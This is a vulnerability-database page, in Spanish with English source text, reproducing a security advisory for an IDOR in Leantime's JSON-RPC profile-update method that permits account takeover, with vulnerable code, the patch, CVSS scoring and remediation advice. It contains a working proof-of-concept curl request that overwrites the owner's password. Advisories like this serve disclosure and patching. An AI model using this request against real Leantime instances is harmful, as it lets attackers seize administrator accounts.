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Advisory · GitHub · Packagist · leantime/leantime

GHSA-5447-PHQ9-QJMM

Account takeover via IDOR in self-service profile update (any authenticated user can change another user's password)

Parche disponible
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CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión3.9.0
Exposición49 dDesde la divulgación, 2 oct 2026, 10:33 a. m.
Detección47 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
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Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
2 oct 26
19 nov 26
21 nov 26
2 oct 26
15 oct 26
27 oct 26
9 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5447-PHQ9-QJMM divulgada · CVSS 8.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Leantime exposes its application services over a JSON-RPC endpoint at `POST /api/jsonrpc`. The self-service profile-update method, reachable as `leantime.rpc.users.users.editOwn`, accepts an `id` parameter that identifies which user record to update. Over the JSON-RPC path this `id` is taken directly from the request body and passed to the database write without ever being checked against the caller's session.

As a result, any authenticated user can update any other user's profile, including their password. Because the update writes a new bcrypt password hash whenever a `password` value is supplied, an attacker can set a known password on any account, including the owner or an administrator, and then log in as that user. This is a full account takeover reachable by the lowest-privilege role in the product.

The web UI is not affected: the HTTP controller for the same action hardcodes the acting user to the session id. Only the JSON-RPC path, which resolves the service from the container and invokes the method directly, bypasses that control.

Details

The two code paths diverge on where `id` comes from

The browser-facing controller pins the record to the logged-in user and ignores anything the client might supply:

`app/Domain/Users/Controllers/EditOwn.php`

// The user id is taken from the session, not from the request.
$this->userId = session('userdata.id');

The JSON-RPC path does not go through that controller. The dispatcher resolves the `Users` service from the container and calls the method with the parameters from the request body. In the vulnerable releases the service simply forwards the supplied `id`:

`app/Domain/Users/Services/Users.php` (v3.8.0)

public function editOwn($values, $id): void
{
    $this->userRepo->editOwn($values, $id);

    $user = $this->getUser($id);

    $this->authService->setUserSession($user);

    self::dispatch_event('editUser', ['id' => $id, 'values' => $values]);
}

The repository writes the row identified by that `id`, and sets a freshly hashed password when a `password` value is present:

`app/Domain/Users/Repositories/Users.php`

public function editOwn($values, $id): void
{
    $updateData = [
        'lastname'      => $values['lastname'],
        'firstname'     => $values['firstname'],
        'username'      => $values['user'],
        'phone'         => $values['phone'],
        'notifications' => $values['notifications'],
        'modified'      => now(),
    ];

    if (isset($values['password']) && $values['password'] != '') {
        $updateData['password'] = password_hash($values['password'], PASSWORD_DEFAULT);
    }

    $this->connection->table('zp_user')
        ->where('id', $id)
        ->update($updateData);
}

Nothing between the request and the `WHERE id = $id` write compares `$id` to the authenticated user. The JSON-RPC endpoint performs no per-method authorization in the affected releases, so the read-only role can reach the method just as an admin can.

Why this is distinct from the other Leantime issues

`editOwn` is the *self-service* method: it is meant to let a user edit only their own profile, and the browser flow enforces that by pinning the id to the session. The vulnerability is that the JSON-RPC surface lets the caller choose the id. That is a different defect from role escalation in the administrative `editUser`/`addUser` methods (which take an id by design and are gated by an admin permission), and different again from the `getUser` read disclosure. This advisory is scoped only to the self-service password-overwrite takeover.

Proof of concept

Preconditions: any working Leantime login. A freshly self-registered or invited low-privilege user is sufficient. The steps below take over the instance owner (user id 1 in a default install).

  1. Authenticate as any user and obtain a session cookie.
  1. Overwrite the target user's password by calling `editOwn` with the victim's id:
curl -s "$BASE/api/jsonrpc" \
  -H "Content-Type: application/json" \
  -H "Cookie: $ATTACKER_SESSION" \
  -d '{
        "jsonrpc": "2.0",
        "method": "leantime.rpc.users.users.editOwn",
        "params": {
          "values": {
            "firstname": "Owner",
            "lastname": "Account",
            "user": "owner@example.com",
            "phone": "",
            "notifications": 1,
            "password": "AttackerKnows1!"
          },
          "id": 1
        },
        "id": 1
      }'
  1. Log in through the normal login form as `owner@example.com` with `AttackerKnows1!`. The attacker now controls the owner account.

Notes:
- The `user` field must be set to the victim's existing email so the account remains loginable under its known address. Supplying a different value simply rewrites the victim's login email as well, which is an equally effective (and noisier) takeover.
- `password` is optional to the endpoint but is what turns a profile edit into a credential takeover.

Impact

Any authenticated user, including the lowest-privilege read-only role, can:

  • Set a known password on any other account, including administrators and the instance owner, and log in as that user.
  • Lock the legitimate user out by changing their login email and password.

Because the owner/admin can be taken over from a read-only account, this collapses the entire authorization model of the instance: an attacker who can obtain any login (self-registration, an invited guest, a low-tier teammate) can reach full administrative control.

Remediation

Fixed in v3.9.0. The service method now discards the caller-supplied id and pins the write to the session user:

public function editOwn($values, $id): void
{
    // Self-service: pin to the authenticated user (ignore any caller-supplied id).
    $id = (int) session('userdata.id');
    ...
}

Users on 3.8.0 or earlier should upgrade to 3.9.0 or later. There is no configuration workaround for affected versions short of blocking the `editOwn` method at a proxy, because the endpoint does not distinguish self-edits from cross-account edits before the write.

Credit

Louis Sanchez (Voke Cyber).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
leantime/leantime≥ 3.0.0 < 3.9.0
3.0.0
3.9.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistleantime/leantime
Corregida 3.9.0 — —
Versiones corregidas3.9.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Leantime/leantime/security/advisories/GHSA-5447-phq9-qjmm

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.